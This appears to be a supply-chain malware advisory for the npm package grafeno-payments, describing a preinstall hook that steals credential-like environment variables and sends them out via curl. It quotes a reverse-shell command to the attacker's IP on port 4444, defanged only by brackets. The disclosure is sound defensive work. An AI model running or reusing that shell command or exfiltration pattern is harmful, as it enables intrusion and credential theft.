LWA-2026-11712 confirmed malware

grafeno-payments@1.0.0

Malicious code in grafeno-payments (npm)

T1059.007 · JavaScriptT1082 · System Information DiscoveryT1552.001 · Credentials In FilesT1071.001 · Web ProtocolsT1105 · Ingress Tool TransferT1041 · Exfiltration Over C2 ChannelT1059.004 · Unix Shell

Analysis

The preinstall hook (node preinstall.js) harvests the installer's environment variables whose names match AWS/TOKEN/KEY/SECRET/PASS/API, along with the hostname and username, base64-encodes them, and exfiltrates them to hxxp://216[.]126[.]236[.]46/r[.]php?d=<data> via curl. On non-Windows systems it additionally spawns a reverse shell to 216[.]126[.]236[.]46:4444 (bash -i >& /dev/tcp/216[.]126[.]236[.]46/4444). Errors are swallowed and the hook is wrapped in `|| true` to hide the activity.

analyzed by
Leitwacht
first seen
Aug 29, 2026, 02:44 AM
analyzed
Aug 29, 2026, 02:44 AM

Related advisories

browse all confirmed advisories →

Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.